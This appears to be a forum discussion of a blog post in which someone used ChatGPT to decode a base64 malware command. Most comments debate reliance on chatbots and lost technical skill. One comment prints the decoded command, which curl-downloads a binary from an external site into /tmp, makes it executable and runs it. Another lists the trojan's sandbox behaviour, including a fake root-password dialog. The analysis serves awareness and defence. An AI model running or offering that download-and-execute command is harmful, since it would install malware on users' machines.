Why would you ask ChatGPT to tell you what a base64-encoded string is? Just base64 decode it! This blog post's "investigation" is worthless when it's just copy/pasting what a chat bot said. There is no reason to rely on a chat bot for this.
We all use elevators but know basically nothing about them -- hence the countless nonsense Hollywood scenes with a cut elevator cable (spoiler: you'd be fine). By contrast when they were first being introduced, every single person that rode on an elevator was probably quit well aware of the tension brake systems and other redundancies - because otherwise, stepping foot in one would feel insane. But when you grow up with them and take everything for granted, hey who cares - it works, yeah?
At Half Price Books I picked up a book on assembler and started writing my first code using debug.com simply because of boredom. In an era where I could have instead been watching endless entertaining videos on any subject imaginable, or playing literally free video games optimized for thousands of hours of entertainment? I'd certainly have never been bored, and I'm not sure I'd have ever even gotten into computers (or anything for that matter). Indeed a disproportionately large number of zoomers seem to have no skills whatsoever, and that's going to be a major issue for humanity moving forward.
I didn't grow by editing DOS config files, but I began with it in Elementary and I've got Debian Woody (later Sarge) in my late HS teen years. OFC I played with game emulators, settings, optimizations, a lot, and under GNU/Linux I even tweaked some BTTV drivers for some El Cheapo TV Tuner. The amount of thinkering these people had omitted because of smartphones and such it's huge.
On the other hand, I've met people in the Godot game engine community that have built entire games on Android devices using Godot (yes, actually used an Android phone and the Godot game engine to build a game; not simply exported an Android game from a PC), so that only proves to me that if someone's got that "hacker spirit", they'll find a way to indulge it, even if the only thing they've got to work with is a smart-phone (and a spare keyboard / mouse layin' around). Problem is that mentality isn't encouraged quite the way it used to be back in the early days of the tech industry. The advertising and entertainment industries have "optimized" the Internet for "engagement", but most definitely not for the betterment of humanity. You gotta have that drive to build and create things or you'll get sucked down the various total waste of life rabbit-holes provided by the brain-sucky industries.
If not, you're already much farther down this dependency funnel that you believe.
The idea is not to be hypergeneralist. What I observe - subjectively - is that we are losing whole generations of what used to be the 'nerdy IT/ham-radio/electronics-folks'. Sure, there is a small remnants with the makerscene, but that's mostly older people (beginning in their late teens).d
"Show me the incentive and I'll show you the outcome"
Obviously the input here was only designed to be run in a terminal, but if it was some sort of prompt injection attack instead, the AI might not simply decode the base64, it might do something else.
I am (not) looking forward to a future where people are unable to perform the simplest tasks because their digital brain has an outage and they have forgotten how to think for themselves.
ChatGPT is the right tool here, because it does the job, and it's more versatile. And underneath the hood it most likely called a decoder anyways.
"Why use a calculator all the time? Just use ChatGPT!"
Maybe you want to be an helpless baby who can't do anything and needs to chug a bajillion liters of water and depend on OpenAI to decode base64, but the thought of this becoming the norm understandably upsets reasonable people.
It explained that it saves a file and executes it. That's a nothingburger, it was obvious it's going to execute some code.
The actual value would have been showing what's in the executed file, but of course it didn't show that (since that would have required actually executing the code).
Showing the contents of the file would have provided an exact and accurate information on what the malware is trying to do. ChatGPT gave a vague "it executes some code".
There is 0 value in chatgpt telling you "it executes some code". The interesting part would be what is inside the /tmp/... file that the malware intends to execute.
To turn this question around, what did you gain by asking ChatGPT this question? You would have not run this command before, and you wouldn't run it after, and you wouldn't have run it either if ChatGPT told you "yeah it's safe go ahead".
.. which is, to be honest, a criticism I would make if I saw someone try to ask ChatGPT to do math
.. and, FWIW, that is exactly what's happening here; base64 decode is just math
This makes me wonder how many kids are using Chat GPT as a calculator.
- ChatGPT is _satisficing_, not optimal. It's definitely worse than a dedicated decoder tool.
- and it's also much more versatile, so it will be satisficing a large array of tasks.
So in scenarios where precision isn't critical and the stakes are mid, it'll simply become the default tool.
Like googling something instead of checking out wikipedia. Or checking out wikipedia instead of using those mythical primary sources. etc.
But is it _always_ accurate?
The answer to that is important when there are security implications.
Not sure why you're only looking at that part of it?
echo -n 'Y3VybCAtc0wgLW8gL3RtcC9wakttTVVGRVl2OEFsZktSIGh0dHB
zOi8vd3d3LmFtYW5hZ2VuY2llcy5jb20vYXNzZXRzL2pzL2dyZWNhcHRja
GE7IGNobW9kICt4IC90bXAvcGpLbU1VRkVZdjhBbGZLUjsgL3RtcC9wakt
tTVVGRVl2OEFsZktS' | base64 --decode
curl -sL -o /tmp/pjKmMUFEYv8AlfKR https://www.amanagencies.com/assets/js/grecaptcha; chmod +x /tmp/pjKmMUFEYv8AlfKR; /tmp/pjKmMUFEYv8AlfKR
$ curl -o foo.bar "URL"
$ file ~/Downloads/foo.bar
foo.bar: Mach-O universal binary with 2 architectures:
[x86_64:Mach-O 64-bit executable x86_64 - Mach-O 64-bit executable x86_64]
[arm64:Mach-O 64-bit executable arm64 - Mach-O 64-bit executable arm64]
foo.bar (for architecture x86_64): Mach-O 64-bit executable x86_64
foo.bar (for architecture arm64): Mach-O 64-bit executable arm64
Reading through the VirusTotal Behavior page, I can see that the Trojan…
• Sends a POST request with 18 bytes to http://83.219.248.194/fulfulde.php, which then returns a text/html page
• Then, it sends DNS queries to h3.apis.apple.map.fastly.net (or maybe this is macOS itself)
• Then, it triggers several open(2) syscalls, among which I can see Mail.app and Messages.app
• Then, it uses a seemingly innocuous binary called “~/.local-6FFD23F2-D3F2-52AC-8572-1D7B854F8BC7/GoogleUpdater” along with “~/Desktop/sample”
• Then, launches a process (via macOS Lauch Agents) called “com.google.captchasvc”
• Then, uses AppleScript to launch a dialog window with this message “macOS needs to access System Settings.Please enter password for root:”
After this I assume it’s game over.
TrendMicro analysis (Sep 04, 2025) -- https://www.trendmicro.com/en_us/research/25/i/an-mdr-analys...
No need to apologize, needing an excuse to lack knowledge is how we end up with people afraid to ask.
I try to make it visible when I’m among juniors and there’s something I don’t know. I think showing the process of “I realize I miss some knowledge => here’s how I bridge the gap” might help against the current trend of going through the motions in the dark.
It used to be that learning was almost a hazing ritual of being belittled and told to RTFM. That doesn’t really work when people have a big bold shortcut on their phones at any given time.
We might need to make the old way more attractive if we don’t want to end up alone.
While we should encourage people to ask questions without fear, this doesn't mean we should lower standards or simplify everything for the lowest common denominator (which seems to be trending a lot!).
That said, there is the real issue of "this must stay complex because that's how it really is" as well, undeniably so.
> It used to be that learning was almost a hazing ritual of being belittled and told to RTFM.
Been there! I think it did more good than bad to me though. Survivorship bias? In any case, I don't try to make the case here that it is optimal pedagogy. I wouldn't know. Thoughts?
Yes!
There is no shame in ignorance. We are all, without exception, ignorant of more things than we're knowledgeable about. Shame should be reserved for remaining ignorant of things when it becomes clear that we would benefit from learning about them.